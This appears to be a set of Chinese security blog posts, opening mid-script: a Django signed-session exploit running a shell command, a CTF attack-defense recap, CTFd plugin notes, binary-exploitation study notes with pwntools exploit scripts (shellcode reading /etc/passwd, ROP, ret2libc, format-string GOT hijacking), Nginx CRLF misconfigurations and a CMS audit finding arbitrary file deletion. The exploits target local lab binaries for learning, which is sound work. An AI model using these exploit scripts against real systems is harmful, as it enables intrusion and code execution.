    #这里生成的session也是可以成功利用的，这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
#    proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers)
    #print response.content

if __name__ == '__main__':
    url = 'http://127.0.0.1:8000/'
    SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    command = 'cat /flag >/tmp/f1ag'
    exp(url,SECRET_KEY,command)

JSONField SQL注入漏洞

复现的时候搞了半天都不行，结果Django更新到2.x就可以了。。。
CVE-2019-14234 Django JSON SQL注入分析

Materials

python_sec

2019年四川省大学生信息安全技术大赛线下自闭总结

Tue, 23 Jul 2019 04:41:47 +0800

题目环境

JSP

一个现成的cms，然后网上的洞一搜就有，还有几个预置后门+大马，但是没有预先准备流量监控，所以一开始就很被动，只能拿着预置后门和大马上去打，到后面基本上都修完了，所以这一道题打的很水……
后面要准备一下jsp的流量监控和一些jsp的马，下次遇到可以用上。

PHP

少了一上午的php，只能从中午开始打php，这部分是最顺手最轻松的，也是一个现成的cms，打法也很常规所以这里我们一直在追分，
结果后来他把题目关了就只上最后一个Python Web

Python

是一个Django的博客，里面功能点没多少，一个格式化字符串的信息泄露，一个yaml上传反序列化漏洞
一开始自己修着修着洞把自己修崩了，以为别人已经开始批量了，方的要死，然后被check了几轮，就更方了。重置了之后，才意识到是debug模式，一修改就会生效。
经验不足导致的丢分～～
后门赛后听到师傅们交流有些队是打到那个反序列化的洞了，有些队是坐了顺风车，我们修好了，所以不知道别人咋打下来的～可以复现一下。

非预期

内网平台竟然也会卡！！！
提交Flag竟然要验证码！！！

坑点及如何优化改进

文件监控

sleep 1 优化
类蜜罐式捕获文件样本保存

流量监控

php的已经写好了，还要集齐jsp、asp、aspx、python web、go的流量监控脚本，以后就可以转被动为主动。

PHP

将内置后门从eval()转为system()，可以用file_put_contents()
requests发post请求时编码的问题，会导致命令是否能执行

批量提交

增加验证码识别选项

CTFD魔改之旅从0到1

Wed, 26 Jun 2019 13:43:47 +0800

Introduction

寒假的时候学了一下Flask，开发了自己现在的博客，本来寒假的时候就已经要准备开发一个CTF平台给实验班考核的时候用的，但是一直没有规划好架构，所以一直延期了。
一直是知道CTFD这个平台的，但是一直没有仔细研究过，直到最近研读了一下源码和文档，发现他是真的香！所以就有了这篇文章的诞生，记录一下魔改的过程和遇到的坑点。

Dir Structure

CTFd
├── CTFd
│   ├── admin # 后台
│   ├── api # API
│   ├── cache # 缓存设置
│   ├── events # 全局event事件（弹窗）设置
│   ├── logs # 日志文件夹
│   ├── models # 数据库结构
│   ├── plugins # 插件（二次开发）
│   │   ├── challenges
│   │   │   └── assets
│   │   └── dynamic_challenges
│   │       └── assets
│   ├── schemas # 封装的Class
│   ├── themes
│   │   ├── admin # 后台前端主题
│   │   │   ├── static
│   │   │   └── templates
│   │   └── core # 前台前端主题
│   │       ├── static
│   │       └── templates
│   ├── uploads # 上传的文件夹
│   └── utils # 封装的各模块函数
│       ├── config
│       ├── countries
│       ├── crypto
│       ├── dates
│       ├── decorators # 这里访问速率设置
│       ├── email
│       ├── encoding
│       ├── events
│       ├── exports
│       ├── helpers
│       ├── initialization # 这里有CSRF设置
│       ├── logging
│       ├── migrations
│       ├── modes
│       ├── notifications
│       ├── plugins
│       ├── scores
│       ├── security
│       ├── sessions
│       ├── updates
│       ├── uploads
│       ├── user
│       └── validators
├── docs
├── migrations
│   └── versions
├── scripts
└── tests # 功能模块测试
    ├── admin
    ├── api
    ├── challenges
    ├── oauth
    ├── teams
    ├── users
    └── utils

其实基本上能魔改的地方就前端和CTFD可供二次开发的Plugins，只需要大开脑洞，想好要加什么功能，就可以直接开干，因为是真的不难

Front-end Transformation

前端其实没啥可改的，就是换下配色 / 换下布局，其他地方都是jinja2动态输出，照搬原样就可以了。
CTFD后台其实支持增加独立Page，但是如果不需要大改的话，直接用那个也能满足一些需求。
但是作为一个“爱折腾的”水瓶儿，肯定不满足原版CTFD的美工，就自己魔改了一个新的。

Notification

加上Timeline会稍微好看一些

Matrix

自制记分板，这个在下一Part的Plugins里面会仔细讲

Challenges

这里的配色一直没调好，但是还凑合

Plugins Transformation

看下面这一部分之前，建议先看看官方WIKI里关于Plugins的介绍

Dynamic Instance Challenge

这里分享一下2018级实验班考核时用到的动态下发题目容器的Plugins
其实就是自己二次开发一个新的Challenge Type，官方demo中也包含了一个编程(Programming)的新Challenge Type，感兴趣的可以也去研究一下。
因为动态下发题目的Challenge Type跟平时的static类型没啥区别，只需要自己自定义一下

新Challenge额外的数据库字段（如部署方式、题目目录等）
attempt()判断Flag对错 / 作弊与否

Dynamic Instance Distribution

上面的只是新的Challenge Type，虽然我们可以也可以把动态下发容器的代码放到上面一起，但是感觉分开不同的模块对后续的优化更便利，所以重新创建一个Plugin写我们动态下发容器。
这里新建Plugin的模版就可以不抄上面的了，只需要有一个load()函数用于app启动时导入插件即可，剩下的就是一般的Python函数编写。
容器的下发有两种可选方案：

docker
docker-compose

两种方案其实差不多，第一种适合类AWD那种直接挂载源码就能跑那种，第二种兼容各种出题环境，给出题人更大的发挥空间。
但是都有一些Bug就是：

都需要调用Docker API，而且宿主机与API主机的Docker Volume目录要相同，不然无法挂载目录
出内网题时，容易有BUG（在同一网段，会打到隔壁老王的机子；不在同一网段，没有足够的内网IP分配导致不能支持多人同时做题）

最后我采用如下方案

Matrix Scoreboard

这个记分板的想法来源于一开始看到官方github的plugin库里面有大牛开发的记分板，但是发现他是老版本的，所以还是要做一个适配v2.*版本的才能用，于是又自己魔改了一波，加了一二三血的Flag和适配一二三血的总分算法，改完还是很满意的，但是分页一直没弄，因为要加分页感觉后端代码改动有点大，所以就先不折腾了。先用着，等到后面有时间再改善一下。

Tricks

Nginx Reverse Proxy

Notification

如果需要反代CTFD的话，需要注意：Notification那个events需要额外配置这个，因为他是服务端主动推送的，所以连接需要Keep-Alive保持连接，否则管理员发全员弹窗的时候会无法成功发送。

location /events {
        proxy_pass  http://d0g3-ctfd:4000/events;
        proxy_set_header Connection '';
        proxy_http_version 1.1;
        chunked_transfer_encoding off;
        proxy_buffering off;
        proxy_cache off;
    }

附上我的Nginx配置给大家参考

location / {
        proxy_pass http://d0g3-ctfd:4000;

        #ssl settings
        proxy_set_header X-Forwarded-Port $server_port;

        #settings
        # 如果遇到前端https，后端http可以尝试下面注释里的设置
        # proxy_redirect     http:// https://;
        proxy_set_header   Host             $host;
        proxy_set_header   X-Real-IP        $remote_addr;
        proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
        proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504;
        proxy_max_temp_file_size 0;
        proxy_hide_header X-Frame-Options;
        add_header X-Frame-Options SAMEORIGIN always;
        proxy_connect_timeout      90;
        proxy_send_timeout         90;
        proxy_read_timeout         90;
        proxy_temp_file_write_size 64k;
    }

Automatic register

自动注册用户脚本

# -*- coding: utf-8 -*-
# @Author: 0aKarmA_骅文
# @Date:   2019-06-27 14:19:25
# @Last Modified by:   0aKarmA
# @Last Modified time: 2019-06-27 23:46:49


import requests, re

def register_user(left, right):
    for i in range(left,right):
        name = "TEST" + str(i)
        email = name + "@d0g3.cn"
        url = 'https://domain/register'
        s = requests.Session()
        rq = s.get(url)
        token = "".join(re.findall(r'nonce" value="(.*)"', rq.text))
        data = {
            "name": name,
            "email": email,
            "password": "password",
            "nonce" : token
        }
        rqq = s.post(url, data)
        print("Success Register " + name + " " + str(rqq.status_code))            


if __name__ == '__main__':

    register_user(0,10)

Summary

平台和题目经过80+同学同时在线并发测试，负载远低于我自己做100+的异步并发～～简直有点不敢相信。。
除了下发不同题目容器时需要清理浏览器缓存（如果不固定端口的话，应该不会存在这个问题），其他的体验应该还是不错的。

Blue Whale PWN Learning

Tue, 30 Apr 2019 15:10:00 +0800

0x01 Basic Conception

环境搭建

sudo apt-get install nasm gcc-4.8 gdb binutils hexedit gcc-4.8-multilib

# 32位libc库
sudo apt-get install libc6-dev-i386
# qira
https://github.com/geohot/qira
# github上面那个安装方法会有问题，我后来装的是1.2版本
cd ~/ && wget -qO- https://github.com/BinaryAnalysisPlatform/qira/archive/v1.2.tar.gz | tar zx && cd qira-1.2 && ./install.sh

# 报错：ImportError: No module named ext.socketio
# 重新安装低版本flask
pip install Flask==0.10.1

# 安装完成后的测试命令
qira -s ./binary
# gdb
https://github.com/longld/peda

工具介绍

GDB

gdb -q ./***

objdump

objdump -d -M intel ./***

shellcode

# nasm
nasm a.asm -o a.o -felf32

# objcopy 删除无关elf内容，提取所需可执行内容
objcopy -O binary a.o code
# 16进制查看
xxd -i code
# 输出成头文件
xxd -i code > code.h
# 编译shellcode
gcc vul.c -o vul -m32 -zexecstack
# 通过vul执行shellcode
(cat code;cat) | ./vul

vul.c

#include<unistd.h>

char code[200];
typedef int (*CODE)();

int main()
{
    read(0,code,100);
    ((CODE)code)();
}

函数调用

    jmp file
open:
    pop ebx
    xor eax,eax
    mov al,5
    xor ecx,ecx
    int 0x80

    mov ebx,eax
    mov al,3
    mov ecx,esp
    mov dl,0x30
    int 0x80

    mov al,4
    mov bl,1
    mov dl,0x30
    int 0x80

    xor eax,eax
    inc eax
    int 0x80

file:
    call open
    db '/etc/passwd', 0x0

执行流程：
jmp file -> call open & 将/etc/passwd入栈，0x0用于“截断”后面的字符 -> pop ebx将栈顶的/etc/passwdpop出来赋给ebx -> 将eax异或置0 -> 将5赋给al寄存器（执行open()函数） -> 将ecx异或置0 （只读）-> int 0x80 结束open()函数 -> 将eax赋给ebx（eax返回的是open()函数返回的文件描述符） -> 将3赋给al寄存器（执g)函数） -> 将esp（栈顶的东西）赋给ecx-> 将dl赋值30（read的长度） ->int 0x80结束read()函数 -> 将4赋给al寄存器 -> 将1赋给bl寄存器（write到屏幕）-> 将30赋给dl寄存器 ->int 0x80结束write()函数 -> 将eax异或置0 ->inc eax加一，执行exit()函数 ->innt 0x80结束exit()`函数

Comsumption

Register Architecture

假如EAX是12345678h
那么AX就是EAX的低16位，即5678h
AL就是AX的低16位，即78h

同理EBX，ECX，EDX…… 这样就能解释上面，函数调用那里，为啥将eax异或置0之后，给al赋0x**了。

Command

MOV dst,src
add dest,src
sub dest,src
mul arg
# 自加1
inc
# 自减1
dec
cmp
push
pop

System Call

eax: system call number / return value
ebx,ecx,edx,esi,edi:argument
instruction: int 0x80

Linux Syscall Reference

0x02 Buffer overflow

Vulnerable Functions

gets
scanf
strcpy
sprintf
memcpy
strcat
……

Return to Text

这个的漏洞点也很直接了当，没有对buf做限制

ssize_t vuln()
{
  char buf; // [sp+1Ch] [bp-1Ch]@1

  write(1, "[*]Welcome to pwn1\n", 0x13u);
  return read(0, &buf, 0x32u);
}

而且里面还有一个shell函数，所以直接就能上exp拿shell

exp

from pwn import *

r = remote('localhost', 4000)

r.sendline('a'*32 + p32(0x0804851D))

r.interactive()

Return to Shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-14h]@1

  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 0x32u);
  printf("Try your best:");
  return (int)gets((char *)&v4);
}

这道同样是溢出，但是没有内置shell函数，刚好看到有个定义的全局变量$name(bss段)，他的地址不会改变，所以我们就可以往他那写shellcode，然后溢出的时候return到他的地址就可以。

这里pwntools的asm(shellcraft.sh()，asm()是生成汇编,shellcraft.xx()是pwntools封装好的内置shellcode

exp

from pwn import *

r = remote('localhost', 4000)

r.recvuntil('Name:')
r.sendline(asm(shellcraft.sh()))
r.recvuntil('Try your best:')
r.sendline('a'*32 + p32(0x0804a060))

r.interactive()

homework

这道题知道溢出点在gets()和strcpy()上，但是不知道怎么下手。。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  int result; // eax@1
  int v5; // ecx@1
  int v6; // [sp+18h] [bp-468h]@1
  int v7; // [sp+7Ch] [bp-404h]@1
  int v8; // [sp+47Ch] [bp-4h]@1

  v8 = *MK_FP(__GS__, 20);
  alarm(0x3Cu);
  setvbuf(stdout, 0, 2, 0);
  v3 = z();
  printf("Echo string (less than %d bytes): ", v3 / 0x2710);
  gets((char *)&v7);
  strcpy((char *)&v6, (const char *)&v7);
  puts((const char *)&v6);
  result = 0;
  v5 = *MK_FP(__GS__, 20) ^ v8;
  return result;
}

0x03 ROP

Return Oriented Programming(ROP)
是一种利用现有的程序片段组合出想要功能的技巧

可以使用ROP解除DEP限制，然后执行shellcode
可以使用ROP绕过ASLR限制
可以使用ROP绕过StackGuard
可以使用ROP绕过PIE

使用ROP的关键

查找gadget
排列gadget

ROP类型

控制寄存器做syscall
使用原有程序里的function
使用libc里的gadget或function(绕过ASLR)

查找ROP
ROPGadget

ROPgadget --binary ./rop
ROPgadget --binary ./rop --opcode cd80c3
cd80c3 // int 0x80 ; ret

ASLR

Address Space Layout Randomization 地址随机化
检查是否开启ASLR
cat /proc/sys/kernel/randomize_Va_space

DEP

Data Execution Prevention (NX)
可写的不可以执行，可执行的不可以写

homework1

这个跟视频里讲的rop例子是一样的，只是把pop ecx和pop ebx放到了一块赋值。所以基本上没有什么难点，自己敲一遍就理解了。

payload

from pwn import *

r = remote('localhost', 4000)

pop_eax_ret = 0x080bae06
pop_ecx_ebx_ret = 0x0806e851
pop_edx_ret = 0x0806e82a
buf = 0x80eb000 - 100
int_0x80_ret = 0x0806eef0
rop = [
    pop_eax_ret,
    3,
    pop_ecx_ebx_ret,
    buf,
    0,
    pop_edx_ret,
    50,
    int_0x80_ret,
    pop_eax_ret,
    0xb,
    pop_ecx_ebx_ret,
    0,
    buf,
    pop_edx_ret,
    0,
    int_0x80_ret
]
r.recvuntil('Your input :')
r.sendline('a'*32 + flat(rop))
sleep(2)
r.sendline('/bin/sh\x00')
r.interactive()

有两个小疑问就是

出入栈的原理，为什么pop出来之后return相当于复制操作
真实环境中第一次手动sendline之后程序就退出了，为啥还能脚本里还能sendline第二次

Answer：

看汇编去！
因为第一次写入了read函数，从屏幕中获取输入写入buf中，后面才能exec

PIE

Position independent Execution
地址无关可执行文件

StackGuard

编译器对stack overflow的一种保护机制，在函数被调用时，先在stack上放canary，函数返回前先检查这个值有没有被修改，可以有效的防止缓冲区溢出攻击

Return to Library

Lazy Binding

PLT
GOT(Global Offset Table) 全局偏移表
.got 保存全局变量的地址
.got.plt保存函数引用地址

ret2lib

这个类型的考点关键在于得到基地址，知道了基地址就可以用readelf去获取所用函数的偏移地址，然后再找个可写的地址，构造rop，传进去即可。

ldd ./** 查看程序调用了哪个libc库
readelf -a /lib32/libc.so.6 | grep puts@ 查找libc库某函数的偏移地址
pwntools ELF Files
gdb run之后输入bt就可以看到libc库的地址 Linux中用gdb 查看代码堆栈的信息

查看找的偏移地址是否正确可以对照libc库中后1.5个byte的da0

readelf查找偏移

pwntools

payload

from pwn import *

# 加载libc库
libc = ELF('/lib32/libc.so.6')

r = remote('localhost', 4000)


puts_got_plt = 0x804a01c
puts_off = 0x005f140


r.recvuntil(':')
r.sendline(str(puts_got_plt))
r.recvuntil(':')
# 基地址 = （打印的）实际地址 - 偏移地址
libc_base = int(r.recvuntil('\n').strip(),16) - puts_off

print 'Libc Base Addr : ' + hex(libc_base)

# readelf 查找的函数偏移地址
# gets_off = 0x005e890 
# system_off = 0x003a940
# gets = libc_base + gets_off
# system = libc_base + system_off

# pwntools 查找的函数偏移地址
gets = libc_base + int(hex(libc.symbols['gets']),16)
system = libc_base + int(hex(libc.symbols['system']),16)
buf = 0x804b000 - 100
rop = [
    gets,
    system,
    buf,
    buf
]
r.sendline('a'*60 + flat(rop))
sleep(2)
r.sendline('/bin/sh\x00')


r.interactive()

payload2
自己通过write() / puts()寻找函数实际地址，计算基地址

from pwn import *

context.log_level='debug'
r = remote('localhost', 4000)
pwnme = ELF('./pwnme')
libc = ELF('/lib32/libc.so.6')

libc_start_main_got = pwnme.got['__libc_start_main']
libc_offset = libc.symbols['__libc_start_main']
write = pwnme.symbols['write']
main = 0x804847D
buf = 0x804b000 - 100
rop = [
    write,
    main,
    1,
    libc_start_main_got,
    50,
]
print r.readline(), r.readline()
r.sendline('a'*20 + flat(rop))
#r.recvline()
#tmp = r.recvline()
# print len(tmp)
#for i in range(len(tmp)):
#   print(hex(u32(tmp[i:i+4])))
libc_base = u32(r.recvline()[0:4]) - libc_offset
# libc_base = 0xf660a000
# libc_base = 0xf6622540 - libc_offset
print 'Libc base addr : ' + hex(libc_base)
gets = libc_base + libc.symbols['gets']
system = libc_base + libc.symbols['system']
rop2 = [
    gets,
    system,
    buf,
    buf
]
print r.readline(), r.readline()
r.sendline('a'*20 + flat(rop2))
sleep(2)
r.sendline('/bin/sh\x00')

r.interactive()

这道题是分两次执行的，第一次write出base地址，然后第二次在脚本里面写死base地址，再传进去。拿shell。一直想调一步执行，但是遇到各种蜜汁问题。。。基础不牢地动山摇，根本不会debug就很难受。。先放一放。。

Stack Migration

homework

这个调了半天有bug，基地址也是对的，但是就是拿不到shell，然后一步步debug，差点就自闭了，结果发现pop_ebp_ret的地址复制错了。。看来又是一个细心活，不能急，不然就是一步错，“步步错”！

from pwn import *

r = remote('localhost', 4000)

pwn1 = ELF('./pwn1')
libc = ELF('/lib32/libc.so.6')
# 获取函数实际地址
libc_start_main_got = pwn1.got['__libc_start_main']
# 获取libc库中函数偏移地址
libc_start_off = libc.symbols['__libc_start_main']

puts = pwn1.symbols['puts']
read = pwn1.symbols['read']
buf1 = 0x804b000 - 100
pop_ebp_ret = 0x0804865f
pop3_ret = 0x0804865d
leave_ret = 0x080484b8

rop1 = [
    puts,
    pop_ebp_ret,
    libc_start_main_got,
    read,
    pop3_ret,
    0,
    buf1,
    50,
    pop_ebp_ret,
    buf1 - 4,
    leave_ret
]

r.recvuntil(':')
r.sendline('a'*140 + flat(rop1))
r.recvline()
r.recvline()
# tmp = r.recvline()
# for i in range(len(tmp)):
#     print(hex(u32(tmp[i:i+4])))
libc_base = u32(r.recvline()[71:75]) - libc_start_off
# libc_base = 0xf6622540 - libc_start_off
print 'Libc base addr : ' + hex(libc_base)

gets = libc_base + libc.symbols['gets']
system = libc_base + libc.symbols['system']
buf2 = 0x804b000 - 500

rop2 = [
    gets,
    system,
    buf2,
    buf2
]
r.sendline(flat(rop2))
sleep(2)
r.sendline('/bin/sh\x00')
r.interactive()

Patch

改16进制
sed -i s/待替换的字符/替换的字符/g ./pwn1

hook

0x04 Format String Attack

Format string 可以被攻击者的输入任意控制，而printf本身不检查后面有几个参数。

使用 %x 会造成栈上的信息泄露
可以使用 $ 来控制leak的位置

Use fmt

%N%x 打印地址
%N%hhd 打印byte
%N$s 打印str

Read from arbitrary memory

from pwn import *

r = remote('localhost', 4000)

password = 0x804A048
r.recvuntil('?')
r.sendline(p32(password) + '#' + '%10$s'+ '#')
r.recvuntil('#')
# print u32(r.recvuntil('#')[:4])
pwd = u32(r.recvuntil('#')[:4])
#r.recvuntil(':')
sleep(2)
r.sendline(str(pwd))
r.interactive()

Write to arbitrary memory

掌握fmtstr_payload()的用法

from pwn import *

r = remote('localhost', 4000)

x_addr = 0x804a02c
r.sendline(fmtstr_payload(7, {x_addr:0x14368792}))

r.interactive()

GOT Hijacking

综合利用：
使用任意地址读取，获取当前函数的实际地址，从而获取libc基地址
利用libc基地址+偏移地址可以知道其他函数地址
利用任意地址写入，从而配合got hijacking更改已有函数地址

payload

from pwn import *

r = remote('localhost', 4000)
fmt = ELF('./fmt1')
libc = ELF('/lib32/libc.so.6')

libc_start_got = fmt.got['__libc_start_main']
libc_off = libc.symbols['__libc_start_main']

r.sendline(p32(libc_start_got) + '#' + '%5$s' + '#')
r.recvuntil('#')
libc_base = u32(r.recvuntil('#')[:4]) - libc_off
print 'Libc base addr : ' + hex(libc_base)

printf_got = fmt.got['printf']
system = libc_base + libc.symbols['system']

r.sendline(fmtstr_payload(5, {printf_got:system}))
r.interactive()

0x05 Summary

未涉及的：
64bit程序、Canary保护、无libc情况、Heap exploit

Course:
Modern Binary Exploitation

About me

Sat, 20 Apr 2019 13:19:34 +0800

Myself

Id : 0aKarmA / 骅文

Email Me / Twitter

喜欢代码审计、Linux运维、渗透测试、PythonWeb开发

业余爱好：拉丁舞、摄影摄像、后期制作、美工打杂、钻研易经文化

博客由flask驱动，全程由Docker维护管理。具体介绍见Exploitation Of 0ak

Blog‘s Timeline

2017.10 博客园

2017.11 Hexo+Github

2019.1 Flask v1.0

2019.11 Flask v2.0 删掉了以前一些比较水的文章

My Friends

排名不分先后

懒上加懒之Feedlybot

Fri, 19 Apr 2019 06:25:26 +0800

profile

前段时间看到Riusksk大佬分享的RSS源，然后又在gayhub看到一个项目CyberSecurityRSS

于是，就有了这个“懒人feedlybot”的诞生～

feedlybot

# coding:utf-8
import time
from datetime import datetime
import requests
import pymongo

# feedly api url
base = 'https://cloud.feedly.com/v3/'
# api auth token
# https://feedly.com/v3/auth/dev 获取api token
header = {'Authorization': 'OAuth <your token>'}



def getCategories(Total):
    # 获取category
    category = requests.get(base + 'collections', headers=header)
    for each in category.json():
        # 刷新并获取所有feed订阅
        # each['id']为feed所对应的唯一id
        # each['label']为你feedly所对应的category
        # Total为所存入的collection
        refresh(each['id'], each['label'], Total)

def refresh(feedId, label, collection):
    # 根据feedapi提示，要将某些字符进行转义
    feedId = feedId.replace("/", "%2F")
    feedId = feedId.replace(":", "%3A")
    # 每日0点
    zero_time = datetime.now().replace(hour=0, minute=0, second=0, microsecond=0).timestamp()
    # 获取当天0点之后该feedid所有的文章
    result = requests.get(base + "streams/contents?streamId={0}".format(feedId), headers=header, params={'newerThan' : int(zero_time * 1000)})
    # 获取当天api已使用次数
    count = result.headers['X-RateLimit-Count']
    result = result.json()


    for each in result['items']:
        try:
            # 源title
            origin = each['origin']['title']

            # 文章链接
            if(re.match('^http.*', each['originId']) != None):
                href = each['originId']
            else:
                href = each['alternate'][0]['href']
            # 文章标题
            title = each['title']
            # 发布时间
            pubtime = timeStamp(each['published'])
            pubtimestamp = each['published']


            data = {
                'category' : label,
                'feedtitle' : origin,
                'articletitle' :title,
                'pubtime' : pubtime,
                'pubtimestamp' : pubtimestamp,
                'lastcheck' : int(round(time.time() * 1000))
            }
            #  去重插入
            r = collection.update({'articleurl' : href}, {'$setOnInsert' : data}, upsert=True)
            # print(r)
            # 打印结果
            print("\n[+] " + count + " " + str(pubtime) + " " + origin + " " + title + " " + href)
        except Exception as e:
        print(db['error'].update({'articleurl' : each['originId']}, {'$setOnInsert' : {'errortime' : time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())), 'feed' : each['origin']['streamId']}}, upsert=True))

def timeStamp(timeNum):
    # feedlyapi默认返回13位时间戳，这里格式化便于查看
    timeStamp = float(timeNum/1000)
    timeArray = time.localtime(timeStamp)
    otherStyleTime = time.strftime("%Y-%m-%d %H:%M:%S", timeArray)
    return otherStyleTime

if __name__ == '__main__':
    # 将所有获得的数据入库
    client = pymongo.MongoClient(host='localhost', port=27017)
    db = client['feedly']
    Total = db['Total']
    times = 1
    while 1:
        getCategories(Total)
        time.sleep(21600)

Integrate with Coolq

接下来就是懒人时刻了……
由于feedly每日api请求只有250个，如果你一天中午晚上各更新一次，基本上不用将数据入库，只需要将print返回的结果发送到coolq的http api接口，就可以直接发送给你了。

因为我后期还可能会给Coolq Bot加一些其他功能，所有我这里是选择了入库，然后根据Http Api的接口数据，返回数据库查询数据即可。

我这里用的是Flask的api，可以根据自己的需要选择coolq-http-api

# -*- coding: utf-8 -*-
# filename: coolq.py
# author: 0aKarmA

from flask import Flask, request
from cqhttp import CQHttp
import os
import time
import re

import mongo

bot = CQHttp(api_root='http://127.0.0.1:5700/',
             access_token='token',
             secret='secrect')

def funcs(context):
    if(context['message'].split(" ")[0] == '/news'):
        try:
            num  = context['message'].split(" ")[1]
            bot.send(context, message=mongo.getdata(num.split(",")[0], num.split(",")[1]), auto_escape=True)
        except Exception as e:
            bot.send(context, message='Usage: /news <from>,<to>')
    elif(context['message'] == '/help'):
        bot.send(context, message='Usage: /command \nCommands:\n    /search <one keyword> <from>,[to] 查询关键字相关文章    /news 查询当天最新资讯', auto_escaoe=True)
    elif(context['message'].split(" ")[0] == '/search'):
        try:
            num  = context['message'].split(" ")[2]
            bot.send(context, message=mongo.searchdata(context['message'].split(" ")[1], num.split(",")[0], num.split(",")[1]), auto_escape=True)
        except Exception as e:

            bot.send(context, message='Usage: /search <one keyword> <from>,<to>')

    else:
        bot.send(context, message="D0g3的小萌宠提醒您： \n  Run '/help' for more information on a command.", auto_escape=True)


@bot.on_message()
def handle_msg(context):
    funcs(context)

@bot.on_notice('group_increase')  # 如果插件版本是 3.x，这里需要使用 @bot.on_event
def handle_group_increase(context):
    bot.send(context, message='欢迎新人～', auto_escape=True)  # 发送欢迎新人


@bot.on_request('group', 'friend')
def handle_request(context):
    return {'approve': True}  # 同意所有加群、加好友请求


bot.run(host='127.0.0.1', port=8080,debug=0)

基本实现了几个常用功能
/news <from>,<to>

/search <keyword> <from>,<to>

实现了这两个功能之后，拉到群里发现。。他好像不支持像coolq原生小i机器人一样，在群里面需要@一下才会出来。因为在群里如果消息是以@D0g3 Daily开头，他是收不到消息的。不知道为什么。如果消息是/help @D0g3 Daily这样的话，他会获取到一个CQ码，但是这样对数据处理造成负担，所以我暂时放弃了。先这样用着吧。

Integrate with server酱 / push bear

这个就更简单了，只需要像coolq一样，将你要发送的消息发送到指定接口即可。

Reference

The feedly Cloud API
Unofficial Feedly API Document

Nginx Vulnerable Configuration

Fri, 29 Mar 2019 06:49:59 +0800

0x01 Background

Nginx上一些偏门的漏洞，大多数是因为运维大哥的“粗心”配置导致的，一起来看看自己，是不是曾当过这个“粗心”的运维大哥

0x02 CRLF

OWASP - CRLF 介绍 (https://www.owasp.org/index.php/CRLF_Injection)
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

HTTP Splitting

在Nginx配置中，CRLF常出现在HTTP头中不验证用户输入的场合

敏感变量
- add_header
- proxy_set_header

如果在上述一些类似设置header头的变量中存在用户可控的数据，那就要注意是否过滤严谨，不然就会造成CRLF注入
每次调整正则配置，如果都要nginx -s reload后进行测试的话，难免会比较浪费时间，由于nginx是基于PCRE，所以可以用grep -P来帮助我们验证自己的正则表达式。
方法如下：

[root@0akarma ~]# echo 'a.jpg' | grep -P '((?<jpg>[^.]*)\.jpg)?$'
a.jpg

然后我们接着来看下面这个vuln配置

location ~ /static/((?<jpg>[^.]*)\.jpg)?$ {
    add_header X-Action $jpg;
    return 200 "OK";
}

改成这样就可以解决这个问题了

location ~ /static/((?<action>[^.\s]*)\.json)?$ {
            add_header X-Action $action;
            return 200 "OK";
        }

在讲另外的变量之前先讲讲下面三个比较容易搞错的变量

$request_uri：包含请求参数的原始URI，并不进行URL解码，如/admin/login.php?username=admin&password=admin
$uri：不包含请求参数的当前URI，如/static/style.css
\$document_uri：跟上面的$uri一样

所以试想一下，下面这三个变量都用的是$uri或者$document_uri会发生什么～

proxy_pass
return
rewrite

location /static {
    return 302 http://$host$uri;
}

Oh ***

Header Redefinition

Nginx里面有许多地方可以设置header，如server或location

There could be several add_header directives. These directives are inherited from the previous level if and only if there are no add_header directives defined on the current level.

但是如果，他又有一个子级可覆盖父级的特点，所以，如果存在下面这种配置

server {
  listen 80;
  add_header X-Frame-Options "DENY" always;
  location / {
      return 200 "index";
  }

  location /static {
    add_header Pragma "no-cache" always;
    return 200 "static dir";
  }
}

响应头就会是这样
```nginx
HTTP/1.1 200 OK
Server: nginx/1.14.0
Date: Wed, 24 Apr 2019 14:46:10 GMT
Content-Type: application/octet-stream
Content-Length: 5
Connection: close
X-Frame-Options: DENY

index

YZMCMS Code Audit Analysis

Sun, 03 Mar 2019 02:35:58 +0800

Foreground

除了搜索，其他基本上都要登陆了之后才能使用，评论、友联、留言板，如果后台没有开启，基本上前台就是纯“静态”

search

$q = str_replace('%', '', new_html_special_chars(strip_tags(trim($_GET['q']))));

一行代码的过滤，trim()、strip_tags()、str_replace('%', '')的运用方式简直让我大开眼界了。。

comment

apply for friend links

表单并没有什么过滤，但是在入库的时候用的是一样的过滤。

message board

留言板，提交之后要经过管理员审核才会显示出来。

member

在线投稿

正文和摘要黑名单过滤了一些标签

修改资料

修改头像

public function user_pic(){
    $memberinfo = $this->memberinfo;
    extract($memberinfo);
    if(isset($_POST['dosubmit'])){
        $filename = $_FILES['user_pic']['name'];
        if($filename == '') showmsg('请上传头像！');
        $upload = yzm_base::load_sys_class('upload');
        if($upload->uploadfile('user_pic')){
            $fileinfo = $upload->getnewfileinfo();
            $picname = $fileinfo['filepath'].$fileinfo['filename'];
            D('member_detail')->update(array('userpic'=>$picname),array('userid'=>$this->userid));
            $userpic = YZMPHP_PATH.ltrim($userpic, SITE_PATH);
            if(is_file($userpic)) @unlink($userpic);    //删除原来的头像
            showmsg('更新头像成功！','',1);
        }else{
            showmsg($upload->geterrormsg());
        }
    }

    include template('member', 'user_pic');
}

更改头像时，@unlink可以把原来的头像删掉，如果我们再提交请求的时候抓包改一下路径，即可构成任意文件删除，但是后台里面这个地方限制了文件后缀，所以危害瞬间咕咕咕。。。所以感觉前台那个unlink的任意文件删除，作者是知道的～

